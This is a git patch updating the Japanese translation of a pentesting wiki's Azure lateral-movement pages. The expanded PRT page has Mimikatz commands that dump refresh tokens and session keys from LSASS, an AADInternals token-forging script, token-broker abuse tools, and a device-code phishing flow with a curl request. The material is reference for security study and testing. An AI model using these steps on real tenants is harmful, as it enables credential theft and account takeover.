From 6048d2938bff75620f240b0583b1c42c3e86b7a1 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 29 Jul 2025 16:05:22 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- src/SUMMARY.md | 9 +- .../az-pass-the-certificate.md | 12 +- ...g-primary-refresh-token-microsoft-entra.md | 7 - .../az-primary-refresh-token-prt.md | 255 +++++++++++++++++- .../az-processes-memory-access-token.md | 5 +- .../az-cloud-kerberos-trust.md | 73 +++-- .../az-default-applications.md | 9 - .../{federation.md => az-federation.md} | 53 ++-- .../az-hybrid-identity-misc-attack.md | 29 ++ ... => az-pta-pass-through-authentication.md} | 8 +- .../az-synchronising-new-users.md | 30 --- .../az-entraid-privesc/README.md | 28 +- .../az-services/az-front-door.md | 18 ++ 13 files changed, 408 insertions(+), 128 deletions(-) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/{federation.md => az-federation.md} (54%) create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/{pta-pass-through-authentication.md => az-pta-pass-through-authentication.md} (88%) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-front-door.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index f61a27c2f..48a80565e 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -420,6 +420,7 @@ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) + - [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md) - [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) @@ -442,21 +443,19 @@ - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) + - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md) - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md) + - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md) - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) - - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md) + - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md) - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md) - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md) - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md) - - [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md) - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index cf4743e87..7cc5e4b19 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,13 +4,13 @@ ## Pass the Certificate (Azure) -Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Azure AD CA**によって発行された証明書を使用して、1台のマシンから別のマシンに認証することが可能です（対象として必要なユーザー）。 +Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Entra ID CA**によって発行された証明書を使用して、1台のマシンから別のマシンに認証することが可能です（対象者として必要なユーザー）。 超簡略化すると： -- 接続を開始するマシン（クライアント）は、**ユーザーのためにAzure ADから証明書を取得する必要があります**。 -- クライアントは、PRTやその他の詳細を含むJSON Web Token（JWT）ヘッダーを作成し、派生キー（セッションキーとセキュリティコンテキストを使用）を使って署名し、**Azure ADに送信します**。 -- Azure ADは、クライアントのセッションキーとセキュリティコンテキストを使用してJWT署名を検証し、PRTの有効性を確認し、**証明書**で**応答します**。 +- 接続を開始するマシン（クライアント）は、**ユーザーのためにEntra IDから証明書が必要**です。 +- クライアントは、PRTやその他の詳細を含むJSON Web Token（JWT）ヘッダーを作成し、派生キー（セッションキーとセキュリティコンテキストを使用）を使って署名し、**Entra IDに送信**します。 +- Entra IDは、クライアントのセッションキーとセキュリティコンテキストを使用してJWT署名を検証し、PRTの有効性を確認し、**証明書**で**応答**します。 このシナリオでは、[**Pass the PRT**](pass-the-prt.md)攻撃に必要なすべての情報を取得した後： @@ -20,11 +20,11 @@ Azureに参加しているマシンでは、両方のマシンが**NegoEx**認 - セキュリティコンテキスト - 派生キー -ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書**を**要求する**ことが可能です。 +ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書を要求**することが可能です。 ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -証明書はPRTと同じ期間有効です。証明書を使用するには、リモートマシンに**認証**し、**PSEXEC**を実行し、被害者のマシンで**CMD**を開くpythonツール[**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)を使用できます。これにより、別のユーザーのPRTを取得するために再度Mimikatzを使用することができます。 +証明書はPRTと同じ期間有効です。証明書を使用するには、pythonツール[**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)を使用して、リモートマシンに**認証**し、**PSEXEC**を実行し、被害者のマシンで**CMD**を開くことができます。これにより、別のユーザーのPRTを取得するために再度Mimikatzを使用することができます。 ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md deleted file mode 100644 index 442bf996e..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ /dev/null @@ -1,7 +0,0 @@ -# Az - Phishing Primary Refresh Token (Microsoft Entra) - -{{#include ../../../banners/hacktricks-training.md}} - -**チェック:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index d691dc5c8..9774a6f5b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -1,7 +1,258 @@ -# Az - プライマリリフレッシュトークン (PRT) +# Az - Primary Refresh Token (PRT) {{#include ../../../banners/hacktricks-training.md}} -**以下の投稿を確認してください** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) ただし、同じ内容を説明した別の投稿は [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) にあります。 +## What is a Primary Refresh Token (PRT)? + +**Primary Refresh Token (PRT)**は、Azure AD (Entra ID) 認証で使用される長寿命のリフレッシュトークンで、Kerberos TGTに類似しています。これは、Azure ADに参加したデバイスでユーザーがログインすると発行され、資格情報を再入力することなくさまざまなアプリケーションのアクセストークンを要求するために使用できます。各PRTには、**セッションキー**（所有証明キーとも呼ばれる）が付随しており、リクエストに署名し、クライアントがPRTを持っていることを証明するために使用される対称キーです。PRT自体は不透明で暗号化されたバイナリデータ（クライアントが読み取れない）であり、セッションキーはトークンを要求する際にPRTを含むJWTを**署名**するために使用されます。言い換えれば、PRTを持っているだけでは不十分であり、攻撃者は正当性を証明するためにセッションキーを必要とします。これは、認証のためにKerberos TGTとそのセッションキーの両方が必要なことに似ています。 + +Windowsでは、PRTとセッションキーはCloudAPプラグインを介してLSASSプロセスにキャッシュされます。デバイスに**TPM**（Trusted Platform Module）がある場合、Azure ADは追加のセキュリティのためにキーをTPMにバインドします。これは、TPMを搭載したデバイスでは、セッションキーがTPM内に保存または使用され、通常の状況下ではメモリから直接読み取ることができないことを意味します。TPMが利用できない場合（例：多くのVMや古いシステム）、キーはソフトウェアに保持され、DPAPI暗号化で保護されます。いずれの場合も、管理者権限またはマシン上でのコード実行を持つ攻撃者は、ポストエクスプロイトの一環として**メモリからPRTとセッションキーをダンプする**ことを試み、その後それらを使用してクラウド内でユーザーを偽装することができます。一般的なリフレッシュトークン（通常はアプリケーション固有）とは異なり、PRTはより広範で、デバイスがほぼすべてのEntra ID統合リソースまたはサービスのトークンを要求できるようにします。 + +## How Does a PRT Work? + +PRTの動作を簡略化して説明します： + +1. **Device Registration:** + +- デバイス（Windowsラップトップやモバイルフォンなど）がEntra IDに参加または登録するとき、資格情報（ユーザー名/パスワード/MFA）を使用して認証します。 + +- 認証が成功すると、Entra IDは特にデバイスにバインドされたPRTを発行します。 + +2. **Token Storage:** + +- PRTはデバイスに安全に保存され、通常はTrusted Platform Module (TPM)などのハードウェア機能によって保護されており、無許可の第三者が抽出または悪用することが難しくなっています。 + +3. **Single Sign-On (SSO):** + +- Entra IDで保護されたアプリケーション（例：Microsoft 365アプリ、SharePoint、Teams）にアクセスするたびに、デバイスは保存されたPRTを静かに使用して、そのアプリの特定のアクセストークンを要求し取得します。 + +- PRTが認証を透過的に処理するため、資格情報を繰り返し入力する必要はありません。 + +4. **Renewal and Security:** + +- PRTは長い寿命（通常約14日）を持ちますが、デバイスがアクティブに使用されている限り、継続的に更新されます。 + +- デバイスが侵害されたり失われたりした場合、管理者はリモートでPRTを取り消し、無許可のアクセスを即座にブロックできます。 + +### Why are PRTs Powerful? + +- **Universal Access:** 一般的なトークンが1つのアプリやリソースに制限されるのに対し、PRTはすべてのEntra ID統合サービスへのアクセスを促進できます。 + +- **Enhanced Security:** TPMなどのハードウェア保護が組み込まれているため、PRTは安全なトークンの保存と使用を保証します。 + +- **User Experience:** PRTは頻繁な認証プロンプトを減らし、真のシームレスSSOを可能にすることで、ユーザーエクスペリエンスを大幅に向上させます。 + +## How to know if a PRT is present? + +- PRTが存在するか確認する: +```bash +# Execute +dsregcmd /status +## Check if the value of AzureAdPrt is set to YES +``` +- TPMによって保護されているか確認する: +```bash +Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned +# TpmPresent/Ready = True indicates the device can bind secrets to TPM. + +dsregcmd /status +# In Device State / WHfB prerequisites you’ll typically see: +# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key; +# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound. +# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test). +``` +## Dump and user unprotected PRTs + +According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **TPMバインディングなし**、PRTとそのセッションキーはLSASS（CloudAPプラグイン）に存在します。そのデバイスでローカル管理者/SYSTEM権限があれば、PRTブロブとDPAPIで暗号化されたセッションキーは**LSASSから読み取ることができ、DPAPIを介してセッションキーを復号し、署名キーを導出**して有効なPRTクッキー（`x‑ms‑RefreshTokenCredential`）を生成できます。PRTとそのセッションキーの両方が必要です—PRT文字列だけでは不十分です。 + +### Mimikatz +```bash +privilege::debug +sekurlsa::cloudap +``` +**PRTフィールド**には、暗号化されたリフレッシュトークン（通常はbase64文字列）が含まれており、ProofOfPossessionKeyのKeyValueにはDPAPIで暗号化されたセッションキー（これもbase64）が含まれています。 + +次に、**`sekurlsa::cloudap`**の出力から、`ProofOfPossessionKey`フィールド内の**`KeyValue`**からbase64ブロブをコピーします（これはDPAPIで暗号化されたセッションキーです）。この暗号化されたキーはそのまま使用することはできず、システムのDPAPI資格情報を使用して復号化する必要があります。 + +システムシークレットのDPAPI暗号化はマシンのシステムコンテキストを必要とするため、トークンをSYSTEMに昇格させ、MimikatzのDPAPIモジュールを使用して復号化します： +```bash +token::elevate +dpapi::cloudapkd /keyvalue: /unprotect +``` +`token::elevate`はSYSTEMを偽装し、`dpapi::cloudapkd`コマンドの`/unprotect`はDPAPIマスターキーを使用して提供されたKeyValue blobを復号化します。これにより、平文のセッションキーと、署名に使用される関連するDerived KeyとContextが得られます： +- **Clear key** – 平文の32バイトセッションキー（16進数文字列として表現）。 +- **Derived Key** – セッションキーとコンテキスト値から導出された32バイトキー（詳細は以下）。 +- **Context** – PRTクッキーの署名キーを導出する際に使用された24バイトのランダムコンテキスト。 + +> [!NOTE] +> これがユーザーを偽装するために機能しない場合は、**`AADInternals`**を使用して次のセクションを確認してください。 + +その後、mimikatzを使用して有効なPRTクッキーを生成することもできます： +```bash +# Context is obtained from papi::cloudapkd /keyvalue: /unprotect +# Derivedkey is obtained from papi::cloudapkd /keyvalue: /unprotect +# PRT is obtained from sekurlsa::cloudap (filed "Prt" +dpapi::cloudapkd /context: /derivedkey: /prt: +``` +Mimikatzは、「Signature with key」という行の後に署名されたJWT（`PRT cookie`）を出力します。これにはPRTが含まれ、導出されたキーを使用して署名されています。このJWTはコピーされ、ウェブセッションで使用できます。たとえば、攻撃者はブラウザを開き、`login.microsoftonline.com`に移動し、`x-ms-RefreshTokenCredential`という名前のクッキーをこのJWTの値で設定できます。ブラウザがリフレッシュまたはナビゲートすると、Azure ADはセッションを認証済みとして扱い（PRTクッキーはSSOが発生したかのように提示されます）、指定されたリソースのために認可コードまたはアクセストークンを発行します。実際には、Office 365やAzureポータルのようなリソースに移動します。正当なPRTクッキーが存在する場合、Azure ADは追加のログインなしでアクセスを許可します（PRTはすでに認証されているため、MFAをバイパスします）。 + +また、**`roadtx`**および**`roadrecon`**をPRTクッキーのPRTとともに使用してユーザーを偽装することもできます *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*。 + +### AADInternals + +**`AADInternals`** PowerShellモジュールも、以前に取得したPRTとセッションキーを使用して有効なPRTトークンを生成するために使用できます。これは、nonceを使用して新しいPRTトークンを取得するプロセスを自動化するのに便利で、Azure AD Graph APIや他のリソースのためのアクセストークンを取得するために使用できます。 +```bash +# Code from https://aadinternals.com/post/prt/ +# Add the PRT to a variable +$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc" + +# Add padding +while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="} + +# Convert from Base 64 +$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT)) + +# Add the session key (Clear key) to a variable +$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808" + +# Convert to byte array and base 64 encode +$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne '')) + +# Generate a new PRTToken with nonce +$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey + +# Get an access token for MS Graph API +Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken +``` +このプロセスは、新しいPRTクッキー（ノンス付き）を取得し、それを使用してAzure AD Graph APIのアクセストークンを取得します（ユーザーの代理としてクラウドアクセスを示しています）。AADInternalsは多くの暗号化を抽象化し、Windowsコンポーネントまたは独自のロジックを内部で使用します。 + +## 保護されたPRTの悪用 + +前述の保護にもかかわらず、すでにデバイスを侵害した攻撃者（ローカルユーザーまたはSYSTEMとして）は、WindowsのトークンブローカーAPIとセキュリティコンポーネントを利用して**新しいアクセストークンを取得するためにPRTを悪用する**ことができます。攻撃者は生のPRTやキーを**抽出する**のではなく、基本的に**「Windowsに自分の代理でPRTを使用するように頼む」**のです。以下のセクションでは、TPM保護が有効な最新のWindowsデバイスでPRTとそのセッショントークンを悪用するための現在有効な技術を概説します。これらの技術はすべて、ターゲットマシンへのポストエクスプロイトアクセスを前提としており、**組み込みの認証フローを悪用することに焦点を当てています**（未修正の脆弱性は必要ありません）。 + +### WindowsトークンブローカーアーキテクチャとSSOフロー + +最新のWindowsは、ユーザーモードとLSASS（ローカルセキュリティ機関）の両方にコンポーネントを含む組み込みの**トークンブローカー**スタックを介してクラウド認証を処理します。このアーキテクチャの重要な部分は次のとおりです。 + +- **LSASS CloudAPプラグイン：** デバイスがAzure ADに参加している場合、LSASSはPRTとトークンリクエストを管理するクラウド認証パッケージ（例：`CloudAP.dll`、`aadcloudap.dll`、`MicrosoftAccountCloudAP.dll`）をロードします。LSASS（SYSTEMとして実行）はPRTの保存、更新、使用を調整し、TPMとインターフェースを介して暗号操作（セッショントークンでPRTチャレンジに署名するなど）を実行します。 + +- **Webアカウントマネージャー（WAM）：** Windows Webアカウントマネージャーは、アプリケーションやブラウザが資格情報を求めることなくクラウドアカウントのトークンを要求できるユーザーモードのフレームワーク（COM/WinRT APIを介してアクセス可能）です。WAMはユーザーアプリケーションとセキュアなLSASS/TPMバックのPRTとの間のブローカーとして機能します。たとえば、MicrosoftのMSALライブラリや特定のOSコンポーネントは、WAMを使用してログインユーザーのPRTを使用してトークンを静かに取得します。 + +- **BrowserCore.exeとトークンブローカーCOMインターフェース：** ブラウザSSOのために、Windowsには**BrowserCore.exe**というコンポーネントが含まれています（*Windows Security\BrowserCore*の下にあります）。これは、ブラウザ（Edge、Chromeの拡張機能など）がAzure ADログインのためにPRT派生のSSOトークンを取得するために使用するネイティブメッセージングホストです。内部では、BrowserCoreは`MicrosoftAccountTokenProvider.dll`によって提供されるCOMオブジェクトを利用してPRTベースのクッキー/トークンを取得します。本質的に、このCOMインターフェースは、ユーザーとして実行されている任意のプロセスがSSOトークンを取得するために呼び出すことができるファーストパーティの「トークンブローカー」APIです（ユーザーがLSASSに有効なPRTを持っている場合）。 + +Azure ADに参加しているユーザーがリソース（たとえば、Azureポータル）にアクセスしようとすると、フローは通常次のようになります：アプリケーションがWAMまたはBrowserCoreのCOMインターフェースに呼び出し、これがLSASSと通信します。LSASSはPRTとセッショントークン（TPMによって保護されている）を使用して**SSOトークン**を生成します。これはしばしば**PRTクッキー**と呼ばれ、暗号化されたPRTとノンスを含む特別なJWTで、PRTのセッショントークンから派生したキーで署名されています。このクッキーはAzure ADに送信され（`x-ms-RefreshTokenCredential`ヘッダー内）、デバイスとユーザーが有効なPRTを保持していることを証明し、Azure ADがさまざまなアプリケーションの標準OAuthリフレッシュおよびアクセストークンを発行できるようにします。特に、PRTに存在する任意の多要素認証（MFA）要求は、このSSOプロセスを介して取得されたトークンに引き継がれるため、PRT派生のトークンはMFA保護されたリソースを満たすことができます。 + +### ユーザーレベルのトークン窃盗（非管理者） + +攻撃者が**ユーザーレベルのコード実行**を持っている場合、PRTのTPM保護は攻撃者がトークンを取得するのを止めることはありません。攻撃者は**組み込みのWindowsトークンブローカーAPIを利用します**： + +#### **BrowserCore（MicrosoftAccountTokenProvider COM）** + +BrowserCoreはPRTクッキーを取得するためのCOMクラス（`MicrosoftAccountTokenProvider`、CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`）を公開しています。このCOM APIは、Azure AD SSOのためにブラウザ（Chrome/Edge拡張機能）によって正当に呼び出されます。 + +- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)** +```bash +RequestAADRefreshToken.exe --uri https://login.microsoftonline.com +``` +*(Azure AD リフレッシュトークンまたは PRT クッキーを返します)* + +- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)** +```bash +ROADtoken.exe --nonce +roadrecon auth --prt-cookie +``` +*(ノンスを生成し、BrowserCoreを呼び出してPRTクッキーを取得し、次にROADtoolsを介してそれを引き換えます)* + + +### **Web Account Manager (WAM) APIs** + +攻撃者は、ユーザーレベルのプロセスから正当なMicrosoft認証ライブラリ（**MSAL**、**WAM APIs**、**WebAuthenticationCoreManager**）を使用して、TPM保護されたPRTを利用してトークンを静かに取得します。 + + +- **[aadprt](https://posts.specterops.io/)** +```bash +execute-assembly aadprt.exe +``` +*(COMインターフェースを介してPRTクッキーを取得)* + +- **[listwamaccounts](https://posts.specterops.io/)** +```bash +execute-assembly listwamaccounts.exe +``` +*(WAMを介してログインしているAzure ADアカウントのリスト; トークンターゲットを特定)* + +- **一般的な例 (MSALを使用したPowerShell)**: +```powershell +$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build() +$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result +$result.AccessToken +``` +*(静かにPRTを利用してアクセストークンを取得)* + +#### 管理者 / SYSTEMレベルのトークン悪用 + +攻撃者が**管理者またはSYSTEM**に昇格すると、任意のAzure ADにログインしているユーザーを直接偽装し、同じ**COM/WAMトークンブローカーAPI**を使用できます。TPM保護されたPRTは、この正当なトークン発行を防ぎません。 + +### **ユーザーの偽装とトークン取得** + +Admin/SYSTEMは、他のユーザーの実行中のセッションを偽装して、トークン生成のためにBrowserCoreまたはWAMを呼び出すことができます。 + +これには、ユーザープロセス（例：`explorer.exe`）を偽装し、前のセクションでコメントされた任意の技術を使用してトークンブローカーAPIを呼び出します。 + +### **直接LSASSおよびトークンブローカーとの相互作用（高度な技術）** + +管理者はLSASSを使用してPRTを悪用することができます。たとえば、管理者はLSASSにコードを注入したり、内部CloudAP関数を呼び出してLSASSにトークンを生成させることができます。Dirk-janの研究では、管理者が「暗号APIを使用してLSASS内のPRTキーと相互作用できる」と指摘されています。実際には、LSASSの独自の関数を使用して（APIフックやRPCなどの技術を介して、利用可能な場合）PRTクッキーを生成することを意味します。別のアプローチは、セッションキーがメモリに表示される可能性のあるウィンドウを悪用することです。たとえば、PRTの更新やデバイス登録の瞬間に、使用のために暗号化されていない状態で表示される場合です。このような攻撃はかなり複雑で状況依存です。より簡単な管理者の戦術は、既存のトークンハンドルやキャッシュを悪用することです。LSASSは、メモリ内のアプリ用に最近発行されたリフレッシュトークンをキャッシュします（DPAPIで暗号化されています）。決意のあるSYSTEM攻撃者は、これらのDPAPI保護されたトークンを抽出し（管理者が取得できるユーザーのマスターキーを使用して）、特定のアプリケーションのリフレッシュトークンを直接盗むことを試みることができます。しかし、最も簡単で一般的な方法は、偽装と文書化されたトークンブローカーインターフェースの使用であり、これによりAzure ADが新しいトークンを発行することが保証されます（すべての適切なクレームを持って）暗号を解読しようとするのではなく。 + +## PRTのフィッシング + +**OAuthデバイスコード**フローを悪用し、**Microsoft Authentication BrokerクライアントID**（**`29d9ed98-a469-4536-ade2-f981bc1d605e`**）と**デバイス登録サービス（DRS）**リソースを使用して、**リフレッシュトークンを取得し、これをプライマリリフレッシュトークン（PRT）にアップグレード**します。 + +### **なぜこれが機能するのか** + +- **PRT**は**デバイスにバインドされており、（ほぼ）すべてのEntra保護アプリの**SSOを可能にします。 +- **Brokerクライアント + DRS**の組み合わせにより、フィッシングされた**リフレッシュトークン**を**PRTに交換**できます。 +- **MFAはバイパスされません**：ユーザーはフィッシング中に**MFAを実行**し、**MFAクレームが**結果として得られるPRTに伝播し、攻撃者が**さらなるプロンプトなしで**アプリにアクセスできるようにします。 + +**前提条件**： + +- **BrokerクライアントID**（`29d9ed98-a469-4536-ade2-f981bc1d605e`）と**DRSスコープ/リソース**を使用した**デバイスコードによるユーザー認証**（例：**`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`**または**`https://enrollment.manage.microsoft.com/`**）。 +- **ユーザーがEntra IDでデバイスを登録できる**（**デフォルト：許可**、ただし制限またはクォータ制限される可能性があります）。 +- **デバイスコードを無効にする**CAポリシーや、ターゲットアプリに対して**準拠/ハイブリッドデバイスを要求する**ポリシーがないこと（これらはPRTの発行を停止しませんが、保護されたアプリにアクセスするための**使用**をブロックします）。 +- **攻撃者が制御するホスト**でフローを実行し、トークン/デバイスキーを保持します。 + +**攻撃フロー**： + +1. **client_id = Broker**および**DRSスコープ/リソース**を使用して**デバイスコード認証を開始**し、**ユーザーコード**を犠牲者に表示します。 +```bash +curl -s -X POST \ +"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \ +-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \ +-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile" +``` +2. **被害者がMicrosoftのサイト**（正規のUI）にサインインし、**MFA**を完了すると、**攻撃者はBrokerクライアント用のDRSスコープ付きリフレッシュトークン**を受け取ります。 + +3. **そのリフレッシュトークンを使用してテナントに不正なデバイスを登録**します（デバイスオブジェクトが作成され、被害者にリンクされます）。 + +4. **リフレッシュトークン + デバイスID/キー**を交換して**PRTにアップグレード**します → **攻撃者のデバイスにバウンドされたPRT**。 + +5. **（オプションの持続性）**: MFAが新鮮であれば、**長期的なパスワードレスアクセスを維持するためにWindows Hello for Businessキーを登録**します。 + +6. **悪用**: **PRTを引き換え**（または**PRTクッキーを生成**）して、**ユーザーとしてExchange/Graph/SharePoint/Teams/カスタムアプリ**の**アクセストークン**を取得します。 + + +### 公開ツールと概念実証 + +- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): OAuthフロー、デバイス登録、トークンアップグレードを自動化します。 +- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): デバイスコードフィッシングからPRT+WHfBキーへの単一コマンドスクリプトを自動化します。 + + +## 参考文献 + +- [DirkjanのPRTに関するブログ投稿](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +- [DirkjanのPRTフィッシングに関する投稿](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +- [DirkjanのPRTの悪用に関する投稿](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) +- SpecterOpsの[Azure ADリクエストトークンの要求に関する投稿](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +- 